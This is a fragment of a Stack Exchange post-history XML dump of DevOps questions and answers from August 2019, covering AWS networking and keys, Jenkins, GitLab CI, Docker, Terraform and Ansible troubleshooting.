  <row Id="25882" PostHistoryTypeId="33" PostId="8723" RevisionGUID="38a1241b-abdf-4718-bdab-e3c3582cf1db" CreationDate="2019-08-06T19:47:39.003" UserId="16221" Comment="39" />
  <row Id="25883" PostHistoryTypeId="2" PostId="8830" RevisionGUID="ddefc59b-b8a0-4b08-b626-36acd0a7c533" CreationDate="2019-08-07T00:39:12.133" UserId="192" Text="Typically I spin up all aws ec2 instances together with all its accompanying security groups, volumes, etc ... by executing a series of aws cli commands however I am wondering if there is a tool I can run to exhaustively probe a set of running ec2 instances and output runnable aws commands to recreate the currently running instances ?&#xD;&#xA;&#xD;&#xA;If I had a few days I would write this myself&#xD;&#xA;&#xD;&#xA;Does such a tool exist ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25884" PostHistoryTypeId="1" PostId="8830" RevisionGUID="ddefc59b-b8a0-4b08-b626-36acd0a7c533" CreationDate="2019-08-07T00:39:12.133" UserId="192" Text="how to probe all running aws ec2 instances and their sec groups, etc to generate templates" ContentLicense="CC BY-SA 4.0" />
  <row Id="25885" PostHistoryTypeId="3" PostId="8830" RevisionGUID="ddefc59b-b8a0-4b08-b626-36acd0a7c533" CreationDate="2019-08-07T00:39:12.133" UserId="192" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;aws-cli&gt;&lt;templating&gt;&lt;probe&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25886" PostHistoryTypeId="2" PostId="8831" RevisionGUID="71c05903-a4ea-454d-a591-0682f3d6306a" CreationDate="2019-08-07T00:54:46.393" UserId="192" Text="An approach I use in both prod and dev is to run a webhook server ( this one is excellent https://github.com/adnanh/webhook ) which is subscribed to listen to the github.com  `git push` events which are published by github &#xD;&#xA;&#xD;&#xA;... then when someone does a push to github.com the webhook launches a rebuild script to issue `git pull` then recomple the code and issue `docker build xxx` and `docker push yyy`  and `docker-compose -f my-file-docker-compose.yaml up`   ...  this all happens on auto pilot ...  where I have a running webhook server on a vps box for a given git branch to rebuild its toy domain&#xD;&#xA;&#xD;&#xA;this took time to craft however its a life saver" ContentLicense="CC BY-SA 4.0" />
  <row Id="25887" PostHistoryTypeId="50" PostId="6558" RevisionGUID="b94671d7-13f3-457d-90a4-182a2b9ca936" CreationDate="2019-08-07T03:03:00.337" UserId="-1" />
  <row Id="25888" PostHistoryTypeId="2" PostId="8832" RevisionGUID="6d3b7072-963e-41f3-ab6e-458331935245" CreationDate="2019-08-07T03:52:55.403" UserId="16422" Text="I am part of a large company that is either buying other companies and merging their assets into ours or having rouge development teams getting AWS accounts and then having to bring them under the companies master AWS umbrella.&#xD;&#xA;&#xD;&#xA;I know eventually we will have 2 VPC with overlapping CIDR blocks that need to talk to each other.  I would like a trivial solution that has the least amount operations work possible. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;VPC 1:&lt;br&gt;&#xD;&#xA; 1. Primary CIDR = 172.16.16.0/24&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;VP 2:&lt;br&gt;&#xD;&#xA; 1. Primary CIDR = 172.16.16.0/24&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I thought adding secondary CIDRs to the VPCs would allow me to peer the VPC.  Nope that did not work.  &#xD;&#xA;&#xD;&#xA;VPC 1:&lt;br&gt;&#xD;&#xA; 1. Primary CIDR = 172.16.16.0/24&lt;br&gt;&#xD;&#xA; 2. Secondary CIDRs = 172.16.20.0/28, 172.30.255.0/26, 172.24.28.0/24&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;VP2:&lt;br&gt;&#xD;&#xA; 1. Primary CIDR = 172.16.16.0/24&lt;br&gt;&#xD;&#xA; 2. Secondary CIDR = 172.16.22.0/24&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thinking an Internet Gateways may solve my problem.  Nope do not solve my problem for communicating with private instances.&#xD;&#xA;&#xD;&#xA;Contemplated using a Nat instance.  The NAT would translate the private IPs, but I can't get to the private instances in the other subnet.&#xD;&#xA;&#xD;&#xA;I think my only solution is a software VPN between the VPC's and only route secondary CIDRs over the VPN.  How would I setup a VPN and route the traffic for the secondary CIDR subnets?&#xD;&#xA;&#xD;&#xA;I know I can't be the only guy that needs to get two VPC with overlapping CIDRs to talk to each other.   What is the recommended fix?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25889" PostHistoryTypeId="1" PostId="8832" RevisionGUID="6d3b7072-963e-41f3-ab6e-458331935245" CreationDate="2019-08-07T03:52:55.403" UserId="16422" Text="Multiple VPC with overlapping CIDR" ContentLicense="CC BY-SA 4.0" />
  <row Id="25890" PostHistoryTypeId="3" PostId="8832" RevisionGUID="6d3b7072-963e-41f3-ab6e-458331935245" CreationDate="2019-08-07T03:52:55.403" UserId="16422" Text="&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25891" PostHistoryTypeId="5" PostId="887" RevisionGUID="f70d0b1e-0df7-4a8d-9ec0-bb1d3616ccec" CreationDate="2019-08-07T04:04:29.430" UserId="-1" Comment="Make few important words bold. Learned &quot;hard way&quot; to read carefully" Text="Figured it out. **Outside of any stages** (otherwise this will just end the particular stage as a success) do the following;&#xD;&#xA;&#xD;&#xA;    if( $VALUE1 == $VALUE2 ) {&#xD;&#xA;       currentBuild.result = 'SUCCESS'&#xD;&#xA;       return&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`return` **will stop the stage or node you're running on** which is why running it outside of a stage is important, while setting the `currentBuild.result` prevents it failing." ContentLicense="CC BY-SA 4.0" />
  <row Id="25892" PostHistoryTypeId="24" PostId="887" RevisionGUID="f70d0b1e-0df7-4a8d-9ec0-bb1d3616ccec" CreationDate="2019-08-07T04:04:29.430" Comment="Proposed by 81.92.248.118|ebfbf7d4-442e-45a8-9374-bb20a69adb46 approved by -1 edit id of 1047" ContentLicense="CC BY-SA 4.0" />
  <row Id="25893" PostHistoryTypeId="5" PostId="887" RevisionGUID="6a678cd4-162e-4e8c-8fd2-4d16ef10dd73" CreationDate="2019-08-07T04:04:29.430" UserId="40" Comment="added 5 characters in body" Text="Figured it out. **Outside of any stages** (otherwise this will just end the particular stage as a success) do the following;&#xD;&#xA;&#xD;&#xA;    if( $VALUE1 == $VALUE2 ) {&#xD;&#xA;       currentBuild.result = 'SUCCESS'&#xD;&#xA;       return&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`return` **will stop the stage or node you're running on** which is why running it outside of a stage is important, while setting the `currentBuild.result` prevents it from failing." ContentLicense="CC BY-SA 4.0" />
  <row Id="25898" PostHistoryTypeId="2" PostId="8834" RevisionGUID="98b17522-485e-412e-9954-94cdb8909e42" CreationDate="2019-08-07T06:53:44.987" UserId="354" Text="The fact that all the code is in a single repository doesn't mean that all the code is changing every time a commit is pushed. I would first make the &quot;pathways&quot; in the code explicit. E.g. perhaps you have a few subdirectories:&#xD;&#xA;```&#xD;&#xA;- App1/&#xD;&#xA;  - Docs/&#xD;&#xA;  - Code/&#xD;&#xA;  - Tests/&#xD;&#xA;  - Makefile&#xD;&#xA;- App2/&#xD;&#xA;  - Docs/&#xD;&#xA;  - Code/&#xD;&#xA;  - Tests/&#xD;&#xA;  - Makefile&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Assuming that App1 is independent from App2, you could trigger it's build by checking if anything in that directory changed (see https://stackoverflow.com/questions/424071/how-to-list-all-the-files-in-a-commit).&#xD;&#xA;&#xD;&#xA;Most continuous integration tools have a git plugin or native feature that allows you to filter on a path. If you were using Jenkins, you could set up a few jobs, each with the included region to be be the pathway that should be triggered -- so, _e.g._ changes to `App1/*` would trigger `jobs/app1/` which executes `make -f App1/Makefile` or similar.&#xD;&#xA;&#xD;&#xA;The trick then to maintaining this project is really in the Makefiles, or other build tool of your choice. You would write the dependencies in there.&#xD;&#xA;&#xD;&#xA;You could also have a single global Makefile and use the `git diff-tree` trick in the question mentioned above:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;if grep -q App1 `git diff-tree --no-commit-id --name-only -r &lt;commit&gt;` ; then &#xD;&#xA;  # trigger pipeline App1&#xD;&#xA;  cd App1&#xD;&#xA;  make build&#xD;&#xA;  make test&#xD;&#xA;  make publish&#xD;&#xA;fi&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25899" PostHistoryTypeId="50" PostId="1654" RevisionGUID="d4f858aa-4494-4c13-b63d-a34e111e8499" CreationDate="2019-08-07T08:02:20.247" UserId="-1" />
  <row Id="25904" PostHistoryTypeId="2" PostId="8836" RevisionGUID="45b8e151-84d8-4515-b312-dd613b66e7fb" CreationDate="2019-08-07T12:52:50.627" UserId="16129" Text="I have a relatively simple understanding of GitLab CI:&#xD;&#xA;&#xD;&#xA;- There is a GitLab server (server A)&#xD;&#xA;- There is a separate server with GitLab runners (server B)&#xD;&#xA;- And there is some other server - the 'prod' server (server C)&#xD;&#xA;&#xD;&#xA;From prior experience, I understand that the GitLab runners would do the following:&#xD;&#xA;&#xD;&#xA;- On a push to source control, GitLab (server A) would contact the GitLab runner (server B), and the runner would pull the source control and execute jobs as defined in `.gitlab.ci-yml`, which is included in the source control&#xD;&#xA;- As defined by the `.yml` file, a Docker image would be added back to server A (to the GitLab Docker registry). Then the runner would login to server B, pull the docker image, and start it.&#xD;&#xA;&#xD;&#xA;I am opting for a simpler automated deployment setup.. I want 2 servers:&#xD;&#xA;&#xD;&#xA;- Server A (GitLab CE)&#xD;&#xA;- Server B: Ubuntu 18 server that has a GitLab runner, AND that serves as a production server&#xD;&#xA;&#xD;&#xA;Is this a good idea?&#xD;&#xA;&#xD;&#xA;It seems like I can configure the runner to just run a `docker-compose up --rebuild` command, and that this would essentially work.&#xD;&#xA;&#xD;&#xA;Is there any reason that I wouldn't want to do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25905" PostHistoryTypeId="1" PostId="8836" RevisionGUID="45b8e151-84d8-4515-b312-dd613b66e7fb" CreationDate="2019-08-07T12:52:50.627" UserId="16129" Text="Can a server used for GitLab runners be used as a deployment server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25906" PostHistoryTypeId="3" PostId="8836" RevisionGUID="45b8e151-84d8-4515-b312-dd613b66e7fb" CreationDate="2019-08-07T12:52:50.627" UserId="16129" Text="&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25907" PostHistoryTypeId="5" PostId="8830" RevisionGUID="23b40c54-62cf-4af8-ae2d-877e9fe54588" CreationDate="2019-08-07T13:08:30.930" UserId="192" Comment="added 74 characters in body; edited tags" Text="Typically I spin up all aws ec2 instances together with all its accompanying security groups, volumes, etc ... by executing a series of aws cli commands however I am wondering if there is a tool I can run to exhaustively probe a set of running ec2 instances and output runnable aws commands to recreate the currently running instances ?&#xD;&#xA;&#xD;&#xA;If I had a few days I would write this myself&#xD;&#xA;&#xD;&#xA;Does such a tool exist ?&#xD;&#xA;&#xD;&#xA;I have never looked at terraform so I wonder if that has such a util ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25908" PostHistoryTypeId="6" PostId="8830" RevisionGUID="23b40c54-62cf-4af8-ae2d-877e9fe54588" CreationDate="2019-08-07T13:08:30.930" UserId="192" Comment="added 74 characters in body; edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;terraform&gt;&lt;aws-cli&gt;&lt;probe&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25909" PostHistoryTypeId="2" PostId="8837" RevisionGUID="10748d98-db61-437b-b3dc-e120c4e3a74b" CreationDate="2019-08-07T13:23:30.377" UserId="16433" Text="I want to add my custom columns and also want to add some popups on those columns in junkin's Dashboard.&#xD;&#xA;How to add new columns, which are not present in job's configuration page.&#xD;&#xA;&#xD;&#xA;Thank You" ContentLicense="CC BY-SA 4.0" />
  <row Id="25910" PostHistoryTypeId="1" PostId="8837" RevisionGUID="10748d98-db61-437b-b3dc-e120c4e3a74b" CreationDate="2019-08-07T13:23:30.377" UserId="16433" Text="How to add my own columns to junkin's Dashboard" ContentLicense="CC BY-SA 4.0" />
  <row Id="25911" PostHistoryTypeId="3" PostId="8837" RevisionGUID="10748d98-db61-437b-b3dc-e120c4e3a74b" CreationDate="2019-08-07T13:23:30.377" UserId="16433" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25912" PostHistoryTypeId="2" PostId="8838" RevisionGUID="55d21036-ca2d-429d-82be-6da1ea92eb4e" CreationDate="2019-08-07T13:42:56.770" UserId="354" Text="you can use the [Jenkins Dashboard View](https://wiki.jenkins.io/display/JENKINS/Dashboard+View) to add the layout of your choice. The page says:&#xD;&#xA;&#xD;&#xA;&gt; The dashboard view comes with a number of portlets that you can configure your view with&#xD;&#xA;&#xD;&#xA;so you can add top, bottom, or column portlets as you seee fit." ContentLicense="CC BY-SA 4.0" />
  <row Id="25916" PostHistoryTypeId="2" PostId="8840" RevisionGUID="011df685-99eb-435b-b84b-6f647c9b1aa2" CreationDate="2019-08-07T14:29:56.307" UserId="16438" Text="I am trying to build a Docker container in Raspbian 10.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM python:3.5-buster&#xD;&#xA;RUN apt-get update&#xD;&#xA;RUN apt-get install apt-utils -y&#xD;&#xA;RUN apt-get install python-opencv -y&#xD;&#xA;RUN apt-get install python3-opencv -y&#xD;&#xA;COPY a.py /&#xD;&#xA;CMD [&quot;python3&quot;, &quot;a.py&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`a.py` is simply `import cv2`&#xD;&#xA;&#xD;&#xA;When I run the container, I got the following errors.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;a.py&quot;, line 1, in &lt;module&gt;&#xD;&#xA;    import cv2&#xD;&#xA;ImportError: No module named 'cv2'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="25917" PostHistoryTypeId="1" PostId="8840" RevisionGUID="011df685-99eb-435b-b84b-6f647c9b1aa2" CreationDate="2019-08-07T14:29:56.307" UserId="16438" Text="cannot import OpenCV in a Docker container in Raspberry Pi" ContentLicense="CC BY-SA 4.0" />
  <row Id="25918" PostHistoryTypeId="3" PostId="8840" RevisionGUID="011df685-99eb-435b-b84b-6f647c9b1aa2" CreationDate="2019-08-07T14:29:56.307" UserId="16438" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25919" PostHistoryTypeId="2" PostId="8841" RevisionGUID="66534039-ced7-449f-ae43-7376ed0f31be" CreationDate="2019-08-07T15:31:56.280" UserId="210" Text="It looks like that the `docker login` and the `docker build` were done by different users. If a `docker login` is performed, then a `~/.docker` directory will be created in the namespace of user X, if the build is done by user Y then the latter user does not have a .docker folder and is not authorized to pull the image. One could verify this by `echo $USER` in the pipeline, in this case gitlab-ci.yaml to check this. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25920" PostHistoryTypeId="5" PostId="8818" RevisionGUID="f49f5652-184c-47a9-a6a2-41aacfa9f848" CreationDate="2019-08-07T15:35:37.300" UserId="210" Comment="added 27 characters in body" Text="Terraform destroys and creates new AWS resources when I modify the modules with new resources. &#xD;&#xA;&#xD;&#xA;Tried with:&#xD;&#xA;&#xD;&#xA;    lifecycle {&#xD;&#xA;      prevent_destroy = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Getting the below error :&#xD;&#xA;&#xD;&#xA;    the plan would destroy this resource, but it currently has&#xD;&#xA;    lifecycle.prevent_destroy set to true. To avoid this error and continue with the&#xD;&#xA;    plan, either disable lifecycle.prevent_destroy or adjust the scope of the &#xD;&#xA;    plan using the -target flag.&#xD;&#xA;&#xD;&#xA;Is there any method to update terraform without launching new resources?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25921" PostHistoryTypeId="5" PostId="8837" RevisionGUID="394323a0-1d59-4b11-99bf-6610691d2826" CreationDate="2019-08-07T16:05:28.683" UserId="354" Comment="leave Dunkin' Junkins  for another time." Text="I want to add my custom columns, and I also want to add some popups on those columns in Jenkins dashboard.&#xD;&#xA;&#xD;&#xA;How does one add new columns, which are not present in job's configuration page?&#xD;&#xA;&#xD;&#xA;Thank You" ContentLicense="CC BY-SA 4.0" />
  <row Id="25922" PostHistoryTypeId="4" PostId="8837" RevisionGUID="394323a0-1d59-4b11-99bf-6610691d2826" CreationDate="2019-08-07T16:05:28.683" UserId="354" Comment="leave Dunkin' Junkins  for another time." Text="How to add my own columns to Jenkin's Dashboard" ContentLicense="CC BY-SA 4.0" />
  <row Id="25923" PostHistoryTypeId="24" PostId="8837" RevisionGUID="394323a0-1d59-4b11-99bf-6610691d2826" CreationDate="2019-08-07T16:05:28.683" Comment="Proposed by 354 approved by -1 edit id of 1048" ContentLicense="CC BY-SA 4.0" />
  <row Id="25924" PostHistoryTypeId="5" PostId="8837" RevisionGUID="fa3226ea-caf7-47b9-9068-b35ed9cd263a" CreationDate="2019-08-07T16:05:28.683" UserId="40" Comment="deleted 13 characters in body" Text="I want to add my custom columns, and I also want to add some popups on those columns in Jenkins dashboard.&#xD;&#xA;&#xD;&#xA;How does one add new columns, which are not present in job's configuration page?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25925" PostHistoryTypeId="5" PostId="8818" RevisionGUID="6f23f6b7-e9ce-4c15-bd5f-18458193cfab" CreationDate="2019-08-07T18:22:25.153" UserId="40" Comment="integrate comment from OPer" Text="Terraform destroys and creates new AWS resources when I modify the modules with new resources. &#xD;&#xA;&#xD;&#xA;Tried with:&#xD;&#xA;&#xD;&#xA;    lifecycle {&#xD;&#xA;      prevent_destroy = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Getting the below error :&#xD;&#xA;&#xD;&#xA;    the plan would destroy this resource, but it currently has&#xD;&#xA;    lifecycle.prevent_destroy set to true. To avoid this error and continue with the&#xD;&#xA;    plan, either disable lifecycle.prevent_destroy or adjust the scope of the &#xD;&#xA;    plan using the -target flag.&#xD;&#xA;&#xD;&#xA;Is there any method to update terraform without launching new resources?&#xD;&#xA;&#xD;&#xA;Note: when 'terraform plan' is run, shows &quot;(forces new resource)&quot; for Instance id and ebs_block device" ContentLicense="CC BY-SA 4.0" />
  <row Id="25926" PostHistoryTypeId="50" PostId="5399" RevisionGUID="968f5096-cce6-4434-ae24-794977ca960f" CreationDate="2019-08-07T19:02:45.673" UserId="-1" />
  <row Id="25928" PostHistoryTypeId="2" PostId="8842" RevisionGUID="9d082ee1-ae82-4efd-a047-8fa9789afec5" CreationDate="2019-08-07T20:20:39.770" UserId="3125" Text="GitLab and GitLab CI are not two servers: they are softwares installed on a server. Now, while both can be installed on the same server, they can be split for scaling reason.&#xA;&#xA;Now your question: it all depends on what type of services your are running. Bear in mind that CI can take CPU/memory and disk bandwidth while running your CI (docker image build, composer, npm, Java, etc.). Doing so can slow down your production server.&#xA;Another reason not to run `docker-compose` directly is to avoid downtime: what if there is a mistake during the build or the deployment? Your production will be down. You may want to look at blue/green deployment.&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25935" PostHistoryTypeId="2" PostId="8844" RevisionGUID="22324a9a-ef86-4b9c-ae86-7828f9fbf93b" CreationDate="2019-08-08T10:00:08.827" UserId="16451" Text="Inside `IAM management`, I navigate to `Users - User` and got to the `Security Credentials` tab, It looks like this:&#xD;&#xA;&#xD;&#xA;[![aim][1]][1]&#xD;&#xA;&#xD;&#xA;I see no link to show the `access key` of the already generated `access ID`, how to get it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/D7cwp.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="25936" PostHistoryTypeId="1" PostId="8844" RevisionGUID="22324a9a-ef86-4b9c-ae86-7828f9fbf93b" CreationDate="2019-08-08T10:00:08.827" UserId="16451" Text="How to get the AWS Access key of an already created Access ID" ContentLicense="CC BY-SA 4.0" />
  <row Id="25937" PostHistoryTypeId="3" PostId="8844" RevisionGUID="22324a9a-ef86-4b9c-ae86-7828f9fbf93b" CreationDate="2019-08-08T10:00:08.827" UserId="16451" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25938" PostHistoryTypeId="2" PostId="8845" RevisionGUID="b28d5da6-1ed5-48f2-b5f2-a3cb07994754" CreationDate="2019-08-08T10:10:40.057" UserId="13023" Text="Seems to be just an issue with a Python package.&#xD;&#xA;&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;a.py&quot;, line 1, in &lt;module&gt;&#xD;&#xA;        import cv2&#xD;&#xA;    ImportError: No module named 'cv2'&#xD;&#xA;&#xD;&#xA;Is a common Python error, basically it can't find the package cv2.&#xD;&#xA;&#xD;&#xA;You could try and install OpenCV through pip instead of installing through apt get.&#xD;&#xA;Something could be up with dependancies that you may have missed.&#xD;&#xA;&#xD;&#xA;    RUN pip3 install opencv-python " ContentLicense="CC BY-SA 4.0" />
  <row Id="25939" PostHistoryTypeId="2" PostId="8846" RevisionGUID="02777fd1-c750-4ac2-aec8-3b528d453b9f" CreationDate="2019-08-08T11:33:08.747" UserId="8800" Text="**Access Key** is that `AKIA...` one. What you need is a **Secret Key** - that can't be recovered after the initial setup.&#xD;&#xA;&#xD;&#xA;Since you have never used this particular access key (it says &quot;Last used: N/A&quot;) it's safe to *Make inactive* and then *Delete* and then create a new one through **Create access key** button above the form.&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="25940" PostHistoryTypeId="2" PostId="8847" RevisionGUID="5c27789e-19e2-4dd9-9391-0df051e4effb" CreationDate="2019-08-08T12:09:02.937" UserId="16459" Text="I have a jenkins multi branch project, that builds on every commit and pushes the image to our private registry:&#xD;&#xA;&#xD;&#xA;    docker-reg:5000/&lt;project&gt;/&lt;branch&gt;:latest&#xD;&#xA;    docker-reg:5000/&lt;project&gt;/&lt;branch&gt;:&lt;build-server&gt;-&lt;build-number&gt;&#xD;&#xA;&#xD;&#xA;How can I delete the labels in the docker registry in order to let the garbage collector kick in upon:&#xD;&#xA;&#xD;&#xA;* build gets orphaned after some time &#xD;&#xA; * remove `&lt;project&gt;/&lt;branch&gt;:&lt;build-server&gt;-&lt;build-number`&#xD;&#xA;* branch gets merged and jenkins sub project gets automatically deleted&#xD;&#xA; * remove `&lt;project&gt;/&lt;branch&gt;:latest`" ContentLicense="CC BY-SA 4.0" />
  <row Id="25941" PostHistoryTypeId="1" PostId="8847" RevisionGUID="5c27789e-19e2-4dd9-9391-0df051e4effb" CreationDate="2019-08-08T12:09:02.937" UserId="16459" Text="How to clean up old images in docker registry with jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="25942" PostHistoryTypeId="3" PostId="8847" RevisionGUID="5c27789e-19e2-4dd9-9391-0df051e4effb" CreationDate="2019-08-08T12:09:02.937" UserId="16459" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25943" PostHistoryTypeId="2" PostId="8848" RevisionGUID="404ee871-2177-4f25-9fc7-84ddaa21e4e7" CreationDate="2019-08-08T15:15:14.843" UserId="5592" Text="This is a very complicated issue for a few reasons:&#xD;&#xA;&#xD;&#xA;1. The biggest problem is Jenkins does not have any way of notifying you when a branch is deleted or a OR is merged. There are a lot of issues in Jenkin's jira, but from what I know - [this](https://issues.jenkins-ci.org/browse/JENKINS-40606) one is the monitored one.&#xD;&#xA;&#xD;&#xA;2. You would somehow need to keep a record of all of the published tags.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Overall I don't see how you'd achieve this as it's simply not possible from Jenkin's side. It would be cool if somebody else has found a solution to this. I have looked for one a few times already without any luck." ContentLicense="CC BY-SA 4.0" />
  <row Id="25948" PostHistoryTypeId="50" PostId="8534" RevisionGUID="5f7e3b40-89c7-4b99-9f7c-71de0db3e59f" CreationDate="2019-08-08T17:02:20.230" UserId="-1" />
  <row Id="25950" PostHistoryTypeId="2" PostId="8850" RevisionGUID="2962a7ca-648f-4228-88bb-0d3bbde07092" CreationDate="2019-08-08T19:02:03.190" UserId="13111" Text="`with_fileglog` creates a loop with the [`fileglob` lookup](https://docs.ansible.com/ansible/latest/plugins/lookup/fileglob.html). As all other [lookups](https://docs.ansible.com/ansible/latest/user_guide/playbooks_lookups.html) it runs on the controller machine, not on the remote server.&#xD;&#xA;&#xD;&#xA;Since I guess you don't already have those backup files on the controller in the path you referenced, your loop is empty.&#xD;&#xA;&#xD;&#xA;As you have guessed, this approach will not work for your scenario. I suggest you have a look at the [`find` module](https://docs.ansible.com/ansible/latest/modules/find_module.html) to create the list of files to fetch from your primary server." ContentLicense="CC BY-SA 4.0" />
  <row Id="25951" PostHistoryTypeId="50" PostId="6689" RevisionGUID="9575f435-eca4-4c11-b677-1312ebabb738" CreationDate="2019-08-08T20:02:30.300" UserId="-1" />
  <row Id="25952" PostHistoryTypeId="2" PostId="8851" RevisionGUID="4ded0b08-a7cb-4467-9a19-b2c802785ed3" CreationDate="2019-08-08T23:46:26.067" UserId="6131" Text="Terraform would be the best resource to create these EC2 instances repeatedly. &#xD;&#xA;&#xD;&#xA;I would highly recommend you to create a `variables.tf` or `terraform.tfvars` file template allowing you to create a new *instance* of these resources and store that file and the state file securely away for future management of the resources. A versioned S3 bucket would do quite well for this.&#xD;&#xA;&#xD;&#xA;Please note that once you create your Terraform code you can instruct Terraform which state file(s) to work with, etc. Allowing you to *reuse* the same code over and over without duplication." ContentLicense="CC BY-SA 4.0" />
  <row Id="25953" PostHistoryTypeId="5" PostId="8830" RevisionGUID="94c27e86-47f1-4fd8-9c40-b0f217ed58ad" CreationDate="2019-08-09T01:22:30.967" UserId="192" Comment="added 73 characters in body" Text="Typically I spin up all aws ec2 instances together with all its accompanying security groups, volumes, etc ... by executing a series of aws cli commands however when I manually use the aws console in a browser to spin up instances I am wondering if there is a tool I can run to exhaustively probe this set of running ec2 instances and output runnable aws commands to recreate the currently running instances ?&#xD;&#xA;&#xD;&#xA;If I had a few days I would write this myself&#xD;&#xA;&#xD;&#xA;Does such a tool exist ?&#xD;&#xA;&#xD;&#xA;I have never looked at terraform so I wonder if that has such a util ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25954" PostHistoryTypeId="2" PostId="8852" RevisionGUID="f89d3c4a-3a0a-41e9-bf6b-aca31bcacc33" CreationDate="2019-08-09T02:27:33.330" UserId="9495" Text="One thing you should know is, even though you can backup vault(consul, if you are using one as backend), you cannot restore to a new vault installation (if you loose the existing one). You can just restore to the original one." ContentLicense="CC BY-SA 4.0" />
  <row Id="25962" PostHistoryTypeId="2" PostId="8855" RevisionGUID="5067ddd6-974c-4994-8908-54906144d8ed" CreationDate="2019-08-09T11:46:29.367" UserId="16475" Text="I've got 1 master node from which I would like to instal NewRelic agents remotely depedning on the OS I have on them. Some of them are Amazon 2 Amis and some Amazon 1 Ami.&#xD;&#xA;I put when statement in the Ansible Playbook's task in the following way:&#xD;&#xA;&#xD;&#xA;    - name: Enable repo for Amazon Linux 2/Red Hat 7v&#xD;&#xA;      yum_repository:&#xD;&#xA;        name: newrelic-infra&#xD;&#xA;        description: NewRelic repo&#xD;&#xA;        baseurl: https://download.newrelic.com/infrastructure_agent/linux/yum/el/7/$basearch&#xD;&#xA;      when: (ansible_distribution == &quot;Amazon&quot; and ansible_distribution_version == &quot;(Karoo)&quot;) or&#xD;&#xA;            (ansible_distribution == &quot;RedHat&quot; and ansible_distribution_major_version == &quot;7&quot;)&#xD;&#xA;&#xD;&#xA;    - name: Enable repo for Amazon Linux 1/Red Hat 6v&#xD;&#xA;      yum_repository:&#xD;&#xA;        name: newrelic-infra&#xD;&#xA;        description: NewRelic repo&#xD;&#xA;        baseurl: https://download.newrelic.com/infrastructure_agent/linux/yum/el/6/$basearch&#xD;&#xA;      when: (ansible_distribution == &quot;Amazon&quot; and ansible_distribution_version == &quot;2018.03&quot;) or&#xD;&#xA;            (ansible_distribution == &quot;RedHat&quot; and ansible_distribution_major_version == &quot;6&quot;)&#xD;&#xA;&#xD;&#xA;I understand that when statement should check the if statement and proceed further. Nevertheless, whenever I run playbook I receive that if statement is false and it's skipping above tasks. What might be the root cause?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've already checked on remote host ansible_distribution and ansible_distribution_version if strings match. I suppose it must be some syntax problem as I'm new in ansible. &#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="25963" PostHistoryTypeId="1" PostId="8855" RevisionGUID="5067ddd6-974c-4994-8908-54906144d8ed" CreationDate="2019-08-09T11:46:29.367" UserId="16475" Text="Ansible - when statement task always return false value" ContentLicense="CC BY-SA 4.0" />
  <row Id="25964" PostHistoryTypeId="3" PostId="8855" RevisionGUID="5067ddd6-974c-4994-8908-54906144d8ed" CreationDate="2019-08-09T11:46:29.367" UserId="16475" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
